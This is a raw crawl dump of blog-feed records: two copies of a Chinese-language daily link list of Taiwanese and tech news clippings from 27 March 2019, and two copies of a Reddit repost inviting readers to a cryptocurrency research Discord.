   http://m.trad.cn.rfi.fr/%E4%B8%AD%E5%9C%8B/20190325-%E7%BE%8E%E5%9C%8B%E6%B4%BE%E9%81%A3%E5%85%A9%E8%89%98%E6%88%B0%E8%89%A6%E9%80%B2%E5%85%A5%E5%8F%B0%E7%81%A3%E6%B5%B7%E5%B3%BD  "美國軍方宣布，已於周日派遣兩艘戰艦前往台灣海峽，這是一片被視為極具戰略意義的海域，儘管北京不斷警告美國勿輕舉妄動，美國軍方的動作愈來愈頻繁。兩艘戰艦一艘是美國海軍的柯蒂斯·威爾伯號驅逐艦，另一艘是隸屬於美國海岸防衛隊的大型緝私艦---巴索夫號緝私艦" 2019-03-27 01:29:01   在Google的這四年（一） - BYVoid
   https://www.byvoid.com/zht/blog/4-years-at-google-1  "舉例來說：用戶問「日本首相是誰？」，搜索結果顯示「安倍晉三」，然後用戶再問「他年齡多大？」。我的項目的工作就是把第二個查詢改爲「安倍晉三年齡多大？」有了這個技術，Google的語音搜索就不再是孤立的一個個查詢，而變成了某種可以對話的界面。
  
  現在看這個東西難道不就是Google助理的基本功能嗎？但是在2014年Google助理還不存在，它是2016年5月纔發佈的。這個系統是Google助理的一部分前身。我入職的時候的經理是Behshad Behzadi，一個8級的工程師（在Google 8級是個非常高的級別）。他是若干個可以被稱爲「Google助理之父」的人。 2019-03-27 09:51:13   新北市前議長陳幸進今病逝　政壇人士意外不捨│即時新聞│20190326│蘋果日報
   https://tw.appledaily.com/new/realtime/20190326/1540058/  "國民黨新北市議會黨團財務長、市議員蔡淑君聽聞噩耗，當下相當難過，他表示，很榮幸能與陳議長一起擔任同事這麼多年，他就像家裡的一位父親一樣，貼心照顧著大家，當初他當議長期間，國民黨議員席次都是過半，但他主持議事不採強勢作風，常避免用表決方式對決，改以協調方式為主，讓各黨議員們能夠滿意收場，細節作風值得後輩學習，今天痛失這樣的好夥伴、好前輩，真的令人惋惜。" 2019-03-27 09:52:00   加入守護西門町的行列！《Dusk Diver 酉閃町》 Steam體驗版搶先上架 | 遊戲 | 新頭殼 Newtalk
   https://newtalk.tw/news/view/2019-03-26/225141  "由JFI Games競鋒國際旗下製作團隊「JERA」自製研發，以西門町為故事背景的動漫風格單機動作遊戲 《Dusk Diver 酉閃町》於台灣時間今晚 8 點 Steam 平台開放下載 『搶先體驗』版本！同時今晚關注Facebook 官方粉絲專頁一同跟著「陽語默」前進西門町近戰武鬪打擊厄禍。" 2019-03-27 09:53:08   Apple Card 到底能不能進入台灣？金管會回應了 | TechNews 科技新報
   https://technews.tw/2019/03/26/is-apple-card-banned-in-taiwan-the-fcc-responded/  "金管會銀行局已表示，只要蘋果公司與國內商業銀行合作就可以了。
  
  銀行局局長莊琇媛指出，目前 Apple Card 看起來是以聯名卡方式進行，許多國內聯名卡也是如此，品牌與發卡銀行合作，並由國際發卡組織發卡。但問題是在 Apple Card 發卡機構高盛銀行並沒有在台灣登記商業銀行業務，所以依法律規定必須要找有登記的商業銀行合作。
  
  金管會目前說法並非技術疑慮，問題應該沒那麼複雜，但實際上若高盛來台開展商業銀行業務，恐怕也不是短時間內可處理" 2019-03-27 09:55:00   邁阿密網賽／非爆冷專家 官方認證謝淑薇是高手 | 綜合 | 運動 | 聯合新聞網
   https://udn.com/news/story/7005/3719538  "這位33歲好手生涯10大勝仗有6場都是在2017年後出現，她當年開始讓男友阿尼爾（Frederic Aniere）跟著她四處征戰並兼當教練。
  
  謝淑薇2017年在法網首輪擊敗當時世界排名第8的英國好手孔塔（Johanna Konta），寫下生涯首度淘汰世界前10強選手紀錄。" 2019-03-27 14:39:41   Google Launches Backstory — A New Cyber Security Tool for Businesses   https://thehackernews.com/2019/03/backstory-cybersecurity-software.html  2019-03-27 18:57:24   無人便利店失敗的原因，根本和人味無關 – 梗・科技 – Medium   https://medium.com/%E6%A2%97-%E7%A7%91%E6%8A%80/epic-fail-on-failure-of-xstore-8d8b76ffe0ba   "用同樣的標準來檢視這些無人商店，就會發現問題在哪了。這些無人便利店不但沒有比較便利，甚至還更加麻煩。    無人商店如果沒有比有人店更方便，那就毫無存在的價值；花了大錢裝設各種很酷的設備，卻無法讓購買更順暢的話，怎麼會有人願意上門呢？    完全搞錯重點。    我完全可以理解從公關的角度，統一超需要找個理由來解釋為什麼要暫停無人店的展店（而且「新零售」這東西本來就是個被吹牛吹得太誇張的假趨勢）；不過拜託一下，要找理由也找個好一點的理由吧。    畢竟同樣沒人味，為什麼大家都能接受自動販賣機呢？" 2019-03-27 18:57:42   走進門就知你想點大麥克！麥當勞也搞機器學習 - INSIDE   https://www.inside.com.tw/article/15932-mcdonalds-dynamic-yield   "速食店龍頭麥當勞（McDonald’s ）於周一收購了專注於機器學習建議的科技公司 Dynamic Yield；而這間公司的演算法能夠收集關於所有的客觀數據，並提供消費者選購建議或更適合的選擇，就不用總是靠服務人員詢問客人說「今天要來一份最新口味的培根大麥克嗎？」    據外媒表示，麥當勞砸了重金至少3億美元來進行收購。麥當勞執行長史蒂夫·伊斯特布魯克（Steve Easterbrook）在一份聲明中表示「技術是我們增速成長計劃（Velocity Growth Plan）的關鍵要素，透過這樣的演算法能夠為我們的客戶提供更多及更便利的互動體驗，」" 2019-03-27 19:47:17   Toyota Altis 大改款正式售價公布！油電價格大家都猜錯了 - 自由電子報汽車頻道
   https://auto.ltn.com.tw/m/news/12227/2  "繼 3 月初的 RAV4 發表後，Toyota 另一款重量級大改款作品，Corolla Altis（以下稱 Altis），今天也正式在台灣上市，也是領先亞洲各國，推出大改款車型。總代理和泰汽車今天正式公佈售價。油電車型最後售價並不是大家猜測的 80 萬以下價格。汽油車型
  經典：69.8 萬元（接單價 70.9 萬）
  
  豪華：72.8 萬元（接單價 74.5 萬）
  
  尊爵：77.8 萬元（接單價 79.9 萬）
  
  Hybrid 車型
  尊爵：81.8 萬元（接單價 82.9 萬）
  
  旗艦：89.8 萬元（接單價 89.9 萬）" 2019-03-27 19:50:04   均一教育平台獲Google.org 100萬美元資助 | 財經 | 20190327 | 即時新聞 | 工商時報
   https://m.ctee.com.tw/livenews/aj/a02648002019032711442345  "致力於弱勢陪伴與線上免費自學的「均一教育平台」，是台灣最大的免費線上教育平台，累積超過140萬註冊使用者，獲選為台灣第一個Google.org資助的團隊，獲得由Google.org提供2年100萬美元資金挹注。
  
  過去均一平台長期有企業的支持、及民眾小額捐款，這是台灣的幸運，可以讓教育公益的組織活得健康又有活力。也正是因為台灣民眾與企業的支持，才有機會獲選為Google.org資助的專案，成為躍上國際的數位學習平台。" 2019-03-27 21:11:05   996icu/996.ICU: Repo for counting stars and contributing. Press F to pay respect to glorious developers.
   https://github.com/996icu/996.ICU  2019-03-27 21:12:07   韓國瑜簽約逾52億訂單 港媒揭密「幕後老闆」 - 政治 - 自由時報電子報
   https://m.ltn.com.tw/news/politics/breakingnews/2740028  "香港《成報》報導，翻查與高雄簽約的公司紀錄，其中不少是中國國企或國資委監管機構背景，其中在深圳與高雄簽約的深圳「海吉星國際農產品物流園區」，本身由國企深圳市農產品股份有限公司投資，為深圳市政府唯一的一級農產品批發市場，為當地重大建設專案；在香港與高雄簽訂MOU的「華閔投資集團有限公司」，則由福建省人民政府國資委監管；其他如深圳市「南山農產品批發配送有限公司」也是中國國企。" 2019-03-27 21:13:22   年虧 23 億！女生最強拍照手機不玩了 | 自由電子報 3C科技
   https://3c.ltn.com.tw/m/news/36279  "因去年在手機業務大虧 5 億人民幣（約合台幣 23 億），導致全年淨損 12.43 億人民幣，營收亦年減 37.8%，來到 27.91 億人民幣，美圖（Meitu）在明年將終止自產手機的業務，轉與小米合作。未來，美圖手機亦會改由小米推出，並由小米負責銷售、研發、生產等主要環節，美圖除了品牌授權，亦僅支援部份手機技術功能，如招牌的影像和美顏。" 2019-03-27 21:27:50   Uber為什麼不承認自己假租賃，真載客？│即時新聞│20190327│蘋果日報
   https://tw.appledaily.com/new/realtime/20190327/1540344/  "雖然這次爭議的「汽車運輸業管理規則」103條之一的修正草案，看似只是要清楚將業目分類的行政立法，這次運管規則的修正，其實也正中Uber的痛處，也就是現況下小客車租賃業使用資訊平台導致違法跨業經營客運業的問題，如果這次修法通過了，也就代表Uber現況遊走灰色地帶的營運模式是可能就不能繼續玩下去了。其實也沒有Uber所營造的那麼極端，交通部只是落實《公路法》，進行分業營運的規範，Uber一直主張的創新，其實也就是挑戰法律的底線而已，他們既不承認自己是計程車業，也不願意遵守小客車租賃業的規範..." 2019-03-27 22:24:15   東海大學知名地標「路思義教堂」升格國定古蹟 - 生活 - 自由時報電子報
   https://m.ltn.com.tw/news/life/breakingnews/2740358  "文化部召開「第7屆古蹟歷史建築紀念建築審議會第8次會議」決議，同意「路思義教堂」指定為國定古蹟，「鐘樓」維持直轄市定古蹟；「台中州廳」指定為國定古蹟，文化部將於近日內公告，台中市國定國定古蹟增為4處。
  
  台中市文化資產處指出，「路思義教堂」於1963年完工，為著名建築師貝聿銘、陳其寬等人合作設計，配合結構技師鳳後三的精密計算及吳艮宗先生的光源營造廠，共同完成屬於現代主義建築中鋼筋混凝土薄殼結構經典之作。
  其工程施作技術突破與完工進度，更早於日本建築師丹下健三在1964年設計同為薄殼構造的東京聖瑪莉亞大教堂" 2019-03-27 22:31:25   四種求生存的姿態 - 薩提爾人文發展中心 - 財團法人旭立文教基金會
   http://www.shiuhli.org.tw/development/str_center_2_1_3.jsp  "求生存姿態源自一個低我價值和不平衡的狀態。當我們遭遇口語的或非口語的、感覺到的，以及推測來的威脅時，為了保護我們的自我價值，我們選擇採用生存姿態來對抗威脅。其實我們採用這些求生姿態，我們是在嘗試得到他人的接納，同時隱藏我們絕望的渴望，以感覺到與他人聯結。求生存姿態就像是自我表達與自我壓抑間的一個不確定平衡。
  
  薩提爾模式由此發展出溝通姿態的概念，以誇張的方式示範人們自我價值的內在感受。以下將分別介紹各種生存姿態：討好、指責、超理智和打岔；第五種是一致。" 2019-03-27 22:33:57   20元就能吃到！台北米其林公布2019必比登推介名單｜時尚生活｜生活｜2019-03-27｜即時｜天下雜誌
   https://www.cw.com.tw/article/article.action?id=5094519  "根據米其林指南定義，必比登推介的店家均提供「物有所值」的美食。在台北，客人能以1300台幣以下的價位（香港400港幣、東京5000日圓、歐洲為36歐元），吃到有水準的三道菜。雖然非星級餐廳，仍是餐飲業的一項殊榮。" 2019-03-27 23:59:04   Re: [新聞] 矽谷平均年齡 30 歲，老工程師去哪了？ - 看板 Soft_Job - 批踢踢實業坊
   https://www.ptt.cc/bbs/Soft_Job/M.1553680613.A.58B.html  "現在要進台積IT
  就沒有這麽簡單了。即使是助理工程師這邊年薪
  都超過百萬而且準時下班很多，用的東西和維護
  的系統都不新，跟外面軟體業比可謂壓力不大。
  所以可以可以看到不少女生RD以及生育率非常高
  幾乎每個月事業處都有人會請滿月酒。不負責
  推測tsmc的IT總和應該有大於千人以上,要說
  是全台最大的軟體業之一也不為過了,只是開發的
  都是對內的系統居多。
  
  後來本人又輾轉流落到一些台廠豬屎屋，相對於台積這邊也有非常多的老RD, 後來才發現
  好多113同學
  學弟、學長都在哪邊，簡直是四大cs集中地" 2019-03-27 23:59:22   旅行必去拍照打卡！10 間特色泰國 Cafe - JUKSY 街星
   https://m.juksy.com/archives/88244</text><languageCode>zh</languageCode><locationCode>kr</locationCode><coordinates /><links><link>http://m.trad.cn.rfi.fr/中國/20190325-美國派遣兩艘戰艦進入台灣海峽</link><link>https://www.byvoid.com/zht/blog/4-years-at-google-1</link><link>https://tw.appledaily.com/new/realtime/20190326/1540058</link><link>https://www.newtalk.tw/news/view/2019-03-26/225141</link><link>https://www.technews.tw/2019/03/26/is-apple-card-banned-in-taiwan-the-fcc-responded</link><link>https://www.udn.com/news/story/7005/3719538</link><link>https://www.thehackernews.com/2019/03/backstory-cybersecurity-software.html</link><link>https://www.medium.com/梗-科技/epic-fail-on-failure-of-xstore-8d8b76ffe0ba</link><link>https://www.inside.com.tw/article/15932-mcdonalds-dynamic-yield</link><link>https://auto.ltn.com.tw/m/news/12227/2</link><link>https://m.ctee.com.tw/livenews/aj/a02648002019032711442345</link><link>https://www.github.com/996icu/996.ICU</link><link>https://m.ltn.com.tw/news/politics/breakingnews/2740028</link><link>https://3c.ltn.com.tw/m/news/36279</link><link>https://tw.appledaily.com/new/realtime/20190327/1540344</link><link>https://m.ltn.com.tw/news/life/breakingnews/2740358</link><link>http://www.shiuhli.org.tw/development/str_center_2_1_3.jsp</link><link>https://www.cw.com.tw/article/article.action?id=5094519</link><link>https://www.ptt.cc/bbs/Soft_Job/M.1553680613.A.58B.html</link><link>https://m.juksy.com/archives/88244</link></links><tags><tag>DailyNote</tag></tags><images /><indexedAt>2019-03-27T16:29:04Z</indexedAt><publishedAt>2019-03-27T15:59:00Z</publishedAt><reindexedAt>2019-03-27T16:29:04Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>1181674380492194764</blogId><blogName>peicheng note</blogName><blogUrl>http://peichengnote.blogspot.com</blogUrl><blogRank>1</blogRank><authority>2</authority></post><post><id>6292669386828366380</id><author>CHENG</author><url>https://peichengnote.blogspot.com/2019/03/note-daily-note-2019-03-27.html</url><title>[note] Daily Note 2019-03-27</title><text>Daily Note 2019-03-27 # of today's note: 20    2019-03-27 01:26:21   美國派遣兩艘戰艦進入台灣海峽 - 中國 - RFI
   http://m.trad.cn.rfi.fr/%E4%B8%AD%E5%9C%8B/20190325-%E7%BE%8E%E5%9C%8B%E6%B4%BE%E9%81%A3%E5%85%A9%E8%89%98%E6%88%B0%E8%89%A6%E9%80%B2%E5%85%A5%E5%8F%B0%E7%81%A3%E6%B5%B7%E5%B3%BD  "美國軍方宣布，已於周日派遣兩艘戰艦前往台灣海峽，這是一片被視為極具戰略意義的海域，儘管北京不斷警告美國勿輕舉妄動，美國軍方的動作愈來愈頻繁。兩艘戰艦一艘是美國海軍的柯蒂斯·威爾伯號驅逐艦，另一艘是隸屬於美國海岸防衛隊的大型緝私艦---巴索夫號緝私艦" 2019-03-27 01:29:01   在Google的這四年（一） - BYVoid
   https://www.byvoid.com/zht/blog/4-years-at-google-1  "舉例來說：用戶問「日本首相是誰？」，搜索結果顯示「安倍晉三」，然後用戶再問「他年齡多大？」。我的項目的工作就是把第二個查詢改爲「安倍晉三年齡多大？」有了這個技術，Google的語音搜索就不再是孤立的一個個查詢，而變成了某種可以對話的界面。
  
  現在看這個東西難道不就是Google助理的基本功能嗎？但是在2014年Google助理還不存在，它是2016年5月纔發佈的。這個系統是Google助理的一部分前身。我入職的時候的經理是Behshad Behzadi，一個8級的工程師（在Google 8級是個非常高的級別）。他是若干個可以被稱爲「Google助理之父」的人。 2019-03-27 09:51:13   新北市前議長陳幸進今病逝　政壇人士意外不捨│即時新聞│20190326│蘋果日報
   https://tw.appledaily.com/new/realtime/20190326/1540058/  "國民黨新北市議會黨團財務長、市議員蔡淑君聽聞噩耗，當下相當難過，他表示，很榮幸能與陳議長一起擔任同事這麼多年，他就像家裡的一位父親一樣，貼心照顧著大家，當初他當議長期間，國民黨議員席次都是過半，但他主持議事不採強勢作風，常避免用表決方式對決，改以協調方式為主，讓各黨議員們能夠滿意收場，細節作風值得後輩學習，今天痛失這樣的好夥伴、好前輩，真的令人惋惜。" 2019-03-27 09:52:00   加入守護西門町的行列！《Dusk Diver 酉閃町》 Steam體驗版搶先上架 | 遊戲 | 新頭殼 Newtalk
   https://newtalk.tw/news/view/2019-03-26/225141  "由JFI Games競鋒國際旗下製作團隊「JERA」自製研發，以西門町為故事背景的動漫風格單機動作遊戲 《Dusk Diver 酉閃町》於台灣時間今晚 8 點 Steam 平台開放下載 『搶先體驗』版本！同時今晚關注Facebook 官方粉絲專頁一同跟著「陽語默」前進西門町近戰武鬪打擊厄禍。" 2019-03-27 09:53:08   Apple Card 到底能不能進入台灣？金管會回應了 | TechNews 科技新報
   https://technews.tw/2019/03/26/is-apple-card-banned-in-taiwan-the-fcc-responded/  "金管會銀行局已表示，只要蘋果公司與國內商業銀行合作就可以了。
  
  銀行局局長莊琇媛指出，目前 Apple Card 看起來是以聯名卡方式進行，許多國內聯名卡也是如此，品牌與發卡銀行合作，並由國際發卡組織發卡。但問題是在 Apple Card 發卡機構高盛銀行並沒有在台灣登記商業銀行業務，所以依法律規定必須要找有登記的商業銀行合作。
  
  金管會目前說法並非技術疑慮，問題應該沒那麼複雜，但實際上若高盛來台開展商業銀行業務，恐怕也不是短時間內可處理" 2019-03-27 09:55:00   邁阿密網賽／非爆冷專家 官方認證謝淑薇是高手 | 綜合 | 運動 | 聯合新聞網
   https://udn.com/news/story/7005/3719538  "這位33歲好手生涯10大勝仗有6場都是在2017年後出現，她當年開始讓男友阿尼爾（Frederic Aniere）跟著她四處征戰並兼當教練。
  
  謝淑薇2017年在法網首輪擊敗當時世界排名第8的英國好手孔塔（Johanna Konta），寫下生涯首度淘汰世界前10強選手紀錄。" 2019-03-27 14:39:41   Google Launches Backstory — A New Cyber Security Tool for Businesses   https://thehackernews.com/2019/03/backstory-cybersecurity-software.html  2019-03-27 18:57:24   無人便利店失敗的原因，根本和人味無關 – 梗・科技 – Medium   https://medium.com/%E6%A2%97-%E7%A7%91%E6%8A%80/epic-fail-on-failure-of-xstore-8d8b76ffe0ba   "用同樣的標準來檢視這些無人商店，就會發現問題在哪了。這些無人便利店不但沒有比較便利，甚至還更加麻煩。    無人商店如果沒有比有人店更方便，那就毫無存在的價值；花了大錢裝設各種很酷的設備，卻無法讓購買更順暢的話，怎麼會有人願意上門呢？    完全搞錯重點。    我完全可以理解從公關的角度，統一超需要找個理由來解釋為什麼要暫停無人店的展店（而且「新零售」這東西本來就是個被吹牛吹得太誇張的假趨勢）；不過拜託一下，要找理由也找個好一點的理由吧。    畢竟同樣沒人味，為什麼大家都能接受自動販賣機呢？" 2019-03-27 18:57:42   走進門就知你想點大麥克！麥當勞也搞機器學習 - INSIDE   https://www.inside.com.tw/article/15932-mcdonalds-dynamic-yield   "速食店龍頭麥當勞（McDonald’s ）於周一收購了專注於機器學習建議的科技公司 Dynamic Yield；而這間公司的演算法能夠收集關於所有的客觀數據，並提供消費者選購建議或更適合的選擇，就不用總是靠服務人員詢問客人說「今天要來一份最新口味的培根大麥克嗎？」    據外媒表示，麥當勞砸了重金至少3億美元來進行收購。麥當勞執行長史蒂夫·伊斯特布魯克（Steve Easterbrook）在一份聲明中表示「技術是我們增速成長計劃（Velocity Growth Plan）的關鍵要素，透過這樣的演算法能夠為我們的客戶提供更多及更便利的互動體驗，」" 2019-03-27 19:47:17   Toyota Altis 大改款正式售價公布！油電價格大家都猜錯了 - 自由電子報汽車頻道
   https://auto.ltn.com.tw/m/news/12227/2  "繼 3 月初的 RAV4 發表後，Toyota 另一款重量級大改款作品，Corolla Altis（以下稱 Altis），今天也正式在台灣上市，也是領先亞洲各國，推出大改款車型。總代理和泰汽車今天正式公佈售價。油電車型最後售價並不是大家猜測的 80 萬以下價格。汽油車型
  經典：69.8 萬元（接單價 70.9 萬）
  
  豪華：72.8 萬元（接單價 74.5 萬）
  
  尊爵：77.8 萬元（接單價 79.9 萬）
  
  Hybrid 車型
  尊爵：81.8 萬元（接單價 82.9 萬）
  
  旗艦：89.8 萬元（接單價 89.9 萬）" 2019-03-27 19:50:04   均一教育平台獲Google.org 100萬美元資助 | 財經 | 20190327 | 即時新聞 | 工商時報
   https://m.ctee.com.tw/livenews/aj/a02648002019032711442345  "致力於弱勢陪伴與線上免費自學的「均一教育平台」，是台灣最大的免費線上教育平台，累積超過140萬註冊使用者，獲選為台灣第一個Google.org資助的團隊，獲得由Google.org提供2年100萬美元資金挹注。
  
  過去均一平台長期有企業的支持、及民眾小額捐款，這是台灣的幸運，可以讓教育公益的組織活得健康又有活力。也正是因為台灣民眾與企業的支持，才有機會獲選為Google.org資助的專案，成為躍上國際的數位學習平台。" 2019-03-27 21:11:05   996icu/996.ICU: Repo for counting stars and contributing. Press F to pay respect to glorious developers.
   https://github.com/996icu/996.ICU  2019-03-27 21:12:07   韓國瑜簽約逾52億訂單 港媒揭密「幕後老闆」 - 政治 - 自由時報電子報
   https://m.ltn.com.tw/news/politics/breakingnews/2740028  "香港《成報》報導，翻查與高雄簽約的公司紀錄，其中不少是中國國企或國資委監管機構背景，其中在深圳與高雄簽約的深圳「海吉星國際農產品物流園區」，本身由國企深圳市農產品股份有限公司投資，為深圳市政府唯一的一級農產品批發市場，為當地重大建設專案；在香港與高雄簽訂MOU的「華閔投資集團有限公司」，則由福建省人民政府國資委監管；其他如深圳市「南山農產品批發配送有限公司」也是中國國企。" 2019-03-27 21:13:22   年虧 23 億！女生最強拍照手機不玩了 | 自由電子報 3C科技
   https://3c.ltn.com.tw/m/news/36279  "因去年在手機業務大虧 5 億人民幣（約合台幣 23 億），導致全年淨損 12.43 億人民幣，營收亦年減 37.8%，來到 27.91 億人民幣，美圖（Meitu）在明年將終止自產手機的業務，轉與小米合作。未來，美圖手機亦會改由小米推出，並由小米負責銷售、研發、生產等主要環節，美圖除了品牌授權，亦僅支援部份手機技術功能，如招牌的影像和美顏。" 2019-03-27 21:27:50   Uber為什麼不承認自己假租賃，真載客？│即時新聞│20190327│蘋果日報
   https://tw.appledaily.com/new/realtime/20190327/1540344/  "雖然這次爭議的「汽車運輸業管理規則」103條之一的修正草案，看似只是要清楚將業目分類的行政立法，這次運管規則的修正，其實也正中Uber的痛處，也就是現況下小客車租賃業使用資訊平台導致違法跨業經營客運業的問題，如果這次修法通過了，也就代表Uber現況遊走灰色地帶的營運模式是可能就不能繼續玩下去了。其實也沒有Uber所營造的那麼極端，交通部只是落實《公路法》，進行分業營運的規範，Uber一直主張的創新，其實也就是挑戰法律的底線而已，他們既不承認自己是計程車業，也不願意遵守小客車租賃業的規範..." 2019-03-27 22:24:15   東海大學知名地標「路思義教堂」升格國定古蹟 - 生活 - 自由時報電子報
   https://m.ltn.com.tw/news/life/breakingnews/2740358  "文化部召開「第7屆古蹟歷史建築紀念建築審議會第8次會議」決議，同意「路思義教堂」指定為國定古蹟，「鐘樓」維持直轄市定古蹟；「台中州廳」指定為國定古蹟，文化部將於近日內公告，台中市國定國定古蹟增為4處。
  
  台中市文化資產處指出，「路思義教堂」於1963年完工，為著名建築師貝聿銘、陳其寬等人合作設計，配合結構技師鳳後三的精密計算及吳艮宗先生的光源營造廠，共同完成屬於現代主義建築中鋼筋混凝土薄殼結構經典之作。
  其工程施作技術突破與完工進度，更早於日本建築師丹下健三在1964年設計同為薄殼構造的東京聖瑪莉亞大教堂" 2019-03-27 22:31:25   四種求生存的姿態 - 薩提爾人文發展中心 - 財團法人旭立文教基金會
   http://www.shiuhli.org.tw/development/str_center_2_1_3.jsp  "求生存姿態源自一個低我價值和不平衡的狀態。當我們遭遇口語的或非口語的、感覺到的，以及推測來的威脅時，為了保護我們的自我價值，我們選擇採用生存姿態來對抗威脅。其實我們採用這些求生姿態，我們是在嘗試得到他人的接納，同時隱藏我們絕望的渴望，以感覺到與他人聯結。求生存姿態就像是自我表達與自我壓抑間的一個不確定平衡。
  
  薩提爾模式由此發展出溝通姿態的概念，以誇張的方式示範人們自我價值的內在感受。以下將分別介紹各種生存姿態：討好、指責、超理智和打岔；第五種是一致。" 2019-03-27 22:33:57   20元就能吃到！台北米其林公布2019必比登推介名單｜時尚生活｜生活｜2019-03-27｜即時｜天下雜誌
   https://www.cw.com.tw/article/article.action?id=5094519  "根據米其林指南定義，必比登推介的店家均提供「物有所值」的美食。在台北，客人能以1300台幣以下的價位（香港400港幣、東京5000日圓、歐洲為36歐元），吃到有水準的三道菜。雖然非星級餐廳，仍是餐飲業的一項殊榮。" 2019-03-27 23:59:04   Re: [新聞] 矽谷平均年齡 30 歲，老工程師去哪了？ - 看板 Soft_Job - 批踢踢實業坊
   https://www.ptt.cc/bbs/Soft_Job/M.1553680613.A.58B.html  "現在要進台積IT
  就沒有這麽簡單了。即使是助理工程師這邊年薪
  都超過百萬而且準時下班很多，用的東西和維護
  的系統都不新，跟外面軟體業比可謂壓力不大。
  所以可以可以看到不少女生RD以及生育率非常高
  幾乎每個月事業處都有人會請滿月酒。不負責
  推測tsmc的IT總和應該有大於千人以上,要說
  是全台最大的軟體業之一也不為過了,只是開發的
  都是對內的系統居多。
  
  後來本人又輾轉流落到一些台廠豬屎屋，相對於台積這邊也有非常多的老RD, 後來才發現
  好多113同學
  學弟、學長都在哪邊，簡直是四大cs集中地" 2019-03-27 23:59:22   旅行必去拍照打卡！10 間特色泰國 Cafe - JUKSY 街星
   https://m.juksy.com/archives/88244</text><languageCode>zh</languageCode><locationCode>tw</locationCode><coordinates /><links><link>http://m.trad.cn.rfi.fr/中國/20190325-美國派遣兩艘戰艦進入台灣海峽</link><link>https://www.byvoid.com/zht/blog/4-years-at-google-1</link><link>https://tw.appledaily.com/new/realtime/20190326/1540058</link><link>https://www.newtalk.tw/news/view/2019-03-26/225141</link><link>https://www.technews.tw/2019/03/26/is-apple-card-banned-in-taiwan-the-fcc-responded</link><link>https://www.udn.com/news/story/7005/3719538</link><link>https://www.thehackernews.com/2019/03/backstory-cybersecurity-software.html</link><link>https://www.medium.com/梗-科技/epic-fail-on-failure-of-xstore-8d8b76ffe0ba</link><link>https://www.inside.com.tw/article/15932-mcdonalds-dynamic-yield</link><link>https://auto.ltn.com.tw/m/news/12227/2</link><link>https://m.ctee.com.tw/livenews/aj/a02648002019032711442345</link><link>https://www.github.com/996icu/996.ICU</link><link>https://m.ltn.com.tw/news/politics/breakingnews/2740028</link><link>https://3c.ltn.com.tw/m/news/36279</link><link>https://tw.appledaily.com/new/realtime/20190327/1540344</link><link>https://m.ltn.com.tw/news/life/breakingnews/2740358</link><link>http://www.shiuhli.org.tw/development/str_center_2_1_3.jsp</link><link>https://www.cw.com.tw/article/article.action?id=5094519</link><link>https://www.ptt.cc/bbs/Soft_Job/M.1553680613.A.58B.html</link><link>https://m.juksy.com/archives/88244</link></links><tags><tag>DailyNote</tag></tags><images /><indexedAt>2019-03-27T16:29:21Z</indexedAt><publishedAt>2019-03-27T15:59:00Z</publishedAt><reindexedAt>2019-03-27T16:29:21Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>12105295063778003227</blogId><blogName>peicheng note</blogName><blogUrl>https://peichengnote.blogspot.com/</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>13253206926150718912</id><author>AMP HQ</author><url>https://ethereum-infochain.blogspot.com/2019/03/branch-cryptocurrency-development-and.html</url><title>Branch Cryptocurrency Development and Research Discord and knowledge base</title><text>Hey, I'm an admin from Branch. We've set up a cryptocurrency development and research oriented space and would like to invite anyone with the same goals to join if interested. We will be focusing purely on development and research and building the space and research towards a decentralised future. The intent is to help unify the space and allow for collaborative efforts in growing the cryptocurrency ecosystem in a collaborative environment. If you would like a channel for your project please just let us know and we will get it up ready for you. Including if you want it to be public or if you want private channels too. You can also integrate with Github. https://invite.gg/branch About Branch The knowledge base built on one tree. All nodes on the tree have a topic for information such as solidity tools where information is created and altered by anyone who wishes to contribute, these are the leaves. Leaves branch down to other leaves and make a higherarchy becoming more specialized the deeper you go into the branches. Moderation is done the same way, mods on higher branches have authority on lower branches to always be accountable and limit power abuse. Join us in growing the best resource for all of our benefit.   submitted by   /u/NOTPR0 [link]   [comments]  from Ethereum https://www.reddit.com/r/ethereum/comments/b655ai/branch_cryptocurrency_development_and_research/</text><languageCode>en</languageCode><locationCode>jp</locationCode><coordinates /><links><link>https://www.invite.gg/branch</link><link>https://www.reddit.com/user/NOTPR0</link><link>https://www.reddit.com/r/ethereum/comments/b655ai/branch_cryptocurrency_development_and_research</link><link>https://www.reddit.com/r/ethereum/comments/b655ai/branch_cryptocurrency_development_and_research</link></links><tags><tag>/r/Ethereum</tag><tag>Reddit</tag></tags><images /><indexedAt>2019-03-27T17:10:04Z</indexedAt><publishedAt>2019-03-27T15:57:00Z</publishedAt><reindexedAt>2019-03-27T17:10:04Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>6999552633148381406</blogId><blogName>Ethereum Infochain</blogName><blogUrl>https://ethereum-infochain.blogspot.com/</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>9884991376666416842</id><author>AMP HQ</author><url>http://ethereum-infochain.blogspot.com/2019/03/branch-cryptocurrency-development-and.html</url><title>Branch Cryptocurrency Development and Research Discord and knowledge base</title><text>Hey, I'm an admin from Branch. We've set up a cryptocurrency development and research oriented space and would like to invite anyone with the same goals to join if interested. We will be focusing purely on development and research and building the space and research towards a decentralised future. The intent is to help unify the space and allow for collaborative efforts in growing the cryptocurrency ecosystem in a collaborative environment. If you would like a channel for your project please just let us know and we will get it up ready for you. Including if you want it to be public or if you want private channels too. You can also integrate with Github. https://invite.gg/branch About Branch The knowledge base built on one tree. All nodes on the tree have a topic for information such as solidity tools where information is created and altered by anyone who wishes to contribute, these are the leaves. Leaves branch down to other leaves and make a higherarchy becoming more specialized the deeper you go into the branches. Moderation is done the same way, mods on higher branches have authority on lower branches to always be accountable and limit power abuse. Join us in growing the best resource for all of our benefit.   submitted by   /u/NOTPR0 [link]   [comments]  from Ethereum https://www.reddit.com/r/ethereum/comments/b655ai/branch_cryptocurrency_development_and_research/</text><languageCode>en</languageCode><locationCode>kr</locationCode><coordinates /><links><link>https://www.invite.gg/branch</link><link>https://www.reddit.com/user/NOTPR0</link><link>https://www.reddit.com/r/ethereum/comments/b655ai/branch_cryptocurrency_development_and_research</link><link>https://www.reddit.com/r/ethereum/comments/b655ai/branch_cryptocurrency_development_and_research</link></links><tags><tag>/r/Ethereum</tag><tag>Reddit</tag></tags><images /><indexedAt>2019-03-27T16:13:40Z</indexedAt><publishedAt>2019-03-27T15:57:00Z</publishedAt><reindexedAt>2019-03-27T16:13:40Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>9167899809693943639</blogId><blogName>Ethereum 